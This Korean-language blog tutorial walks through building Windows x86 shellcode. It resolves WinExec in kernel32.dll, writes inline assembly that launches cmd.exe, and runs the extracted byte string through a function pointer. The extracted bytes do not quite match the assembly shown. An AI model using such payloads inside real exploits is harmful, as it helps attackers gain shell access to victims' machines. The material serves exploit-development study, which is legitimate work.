Windows에서 Shellcode 작성하기
오늘은 shellcode작성하기로
포문을 열겠습니다.
갑자기 shellcode?
이럴 수 있지만..
symbolic execution을
하는 과정에서
비트벡터 내 shellcode를 삽입하고
메모리에 올리기 위한
기초공사로
shellcode를 만들고 있지요.
그럼 시작해 볼까요?
shellcode 넌 누구니?!
위키백과가 왈
"컴퓨터 보안에서 셸코드란 작은 크기의 코드로 소프트웨어 취약점 이용을 위한 내용부에 사용된다."
"셸코드로 불리는 까닭은 일반적으로 명령 셸을 시작시켜
그곳으로부터 공격자가 영향 받은 컴퓨터를 제어하기 때문이다."
요약해보면
"취약점을 이용해 내부에 삽입하는 코드"
정도로 보이네요.
shellcode는 악성동작을 하는 코드인 페이로드(payload)이고,
실제로 공격을 하려면 shellcode를 실행시키기 위한 공격코드인 익스플로잇(exploit)도
작성을 해야겠지요?
shell을 띄우려면...?
누군가는 cmd.exe라는 내용을 실행시켜야 하지 않을까요?
그 누군가.. 즉,
외부프로세스를 실행시키는 API를 찾아볼까요?
두둔!! Winexec()라는 함수가 있네요?
Winexec("실행시킬 프로세스", "디스플레이옵션")는 2개의 파라미터를 받고 있네요.
>>> 함수의 자세한 내용은 msdn을 참조하세요
헛.. Sea of information에서
Winexec()함수는
kernel32.dll이라는 라이브러리 안에 존재한다는 찌라시을 들었습니다.
찌라시를 C언어로 확인해볼까요?
정리해보면
1. kernel32.dll의 베이스주소를 가져오기
2. kernel32.dll 안에 꼭꼭 숨은 Winexec()의 주소를 찾기
3. shellcode를 한땀한땀 핸드메이드로 제작
#include<stdio.h>
#include<Windows.h>
int main() {
HMODULE hModule = GetModuleHandleA("Kernel32.dll");
int addr = (int)GetProcAddress(hModule, "WinExec");
printf(" [+] WinExec_address : 0x%x \n\n", addr);
return 0;
}
hModule은 실행하는 모듈의 시작주소를 꼼쳐두고 있습니다.
즉, 4라인에서 Kernel32.dll의 베이스주소를 얻어왔습니다.
5라인에서는 프로시저의 주소를 얻어옵니다.
그리고 화면에 인쇄해 봅니다!
저는 0x75053640 입니다.
주소는 저와 당연히 달라야 합니다.
이제 장인의 기운이 깃들도록
정성껏 shellcode를 제작해 봅시다.
assembly를 작성할 수 있는 툴이 있지만
intel문법에 맞게 c에서 inline asm으로
작성을 하겠습니다.
#include<stdio.h>
#include<Windows.h>
void test() {
__asm {
push ebp
mov ebp, esp
;함수의 프롤로그
push ebx
push edi
;기존의 ebx와 edi는 스택에 저장
xor ebx, ebx
;ebx 초기화
push 0x75053640
mov edi, esp
;위에서 Winexec()함수의 주소를 스택에 넣고
;Winexec()를 가리키는 스택포인터를 edi에 저장
;즉, edi의 값을 호출한다면 Winexec()함수가 호출되겠죠?
sub esp, 0x8
;호출할 프로세스명을 저장하기 위해 스택공간 확보
mov DWORD PTR[ebp - 0x14], 0x2e646d63; cmd.
mov DWORD PTR[ebp - 0x10], 0x657865; exe
;리틀엔디안 방식으로 작성
;스택을 적어볼까요?
;ebp - 14 = "cmd."
;ebp - 10 = "exe "
;ebp - c = Winexec()의 주소
;ebp - 8 = 기존의 edi
;ebp - 4 = 기존의 ebx
;ebp = main함수의 base pointer
mov ebx, esp
;현재 esp = ebp - 14 이므로 "cmd.exe" 문자열의 시작주소를 가리키고 있습니다.
;즉, ebx는 "cmd.exe"를 가리키고 있네요.
push 0x1
push ebx
call DWORD PTR[edi]
;Winexec("cmd.exe", 1);
;WIN32API는 stdcall방식의 callingconvention
pop edi
pop ebx
;백업했던거 복구
mov esp, ebp
pop ebp
;에필로그
}
}
int main() {
test();
}
함수호출규약(Calling_convention)에 대한 내용은
참고 : https://ccurity.tistory.com/15
위 소스를 실행시키면?
shell이 멋지게 나왔습니다!!
위 코드를 기계어로 1:1 대응되도록 작성합니다.
간단하게 변경하는 방법은?
visual studio에서
[그림3]과 같이
[디버그] - [창] - [디스어셈블리]를 누르면
디스어셈블리 화면이 나옵니다.
여기서 우클릭을 하면?
[그림4]와 같이 나오고 여기서
[코드바이트 표시]를 클릭해줍니다.
이제 [그림5]의 빨간 박스와 같이
바이트만 추출해 줍니다.
추출한 내용을 shellcode라는 문자열에 저장 후
실행하는 C소스를 작성해보겠습니다.
int main() {
unsigned char shellcode[] = "\x55\x8B\xEC\x52\x57\x33\xD2\x68\x40\x36\x05\x75\x8B\xFC\x83\xEC\x08\xC7\x45\xEC\x63\x6D\x64\x2E\xC7\x45\xF0\x65\x78\x65\x00\x8B\xD4\x6A\x01\x52\xFF\x17\x83\xC4\x08\x5F\x5A\x6A\x00\xFF\x15\xA8\x20\x00\x01\x8B\xE5\x5D";
void(*shell)() = (void(*)())shellcode;
shell();
return 0;
}
헤더파일은 필요가 없으니 빼고
한땀 한땀 shellcode라는 변수에 shellcode를 넣어줍니다.
3라인에서 반환형이 없는 shell이라는 함수포인터에 shellcode의 주소를 넣어줍니다.
그리고 shell(); 과 같이 실행합니다.
와.. 정상적으로 shell이 실행되었습니다.
여기까지 잘 진행했다면
여러분은 shellcode 장인이 될 준비를 갖췄습니다.
핸드메이드는 너무 오래걸리니
조금 요령을 피워보자면
바이트를 추출하는 파서를 하나 만들면
지루한 작업을 조금은 덜할 수 있지 않을까요?ㅎ
'Try Attack > System Hacking[basic]' 카테고리의 다른 글
입력방법에 따른 python 공격코드 작성법 (0) | 2019.01.19 |
---|---|
RTL(Return To Libc) 파라미터 (0) | 2019.01.11 |
RTL(Return To Libc) 입력 (0) | 2019.01.11 |
Overflow - 2 (0) | 2018.05.24 |
Overflow - 1 (0) | 2018.05.20 |
댓글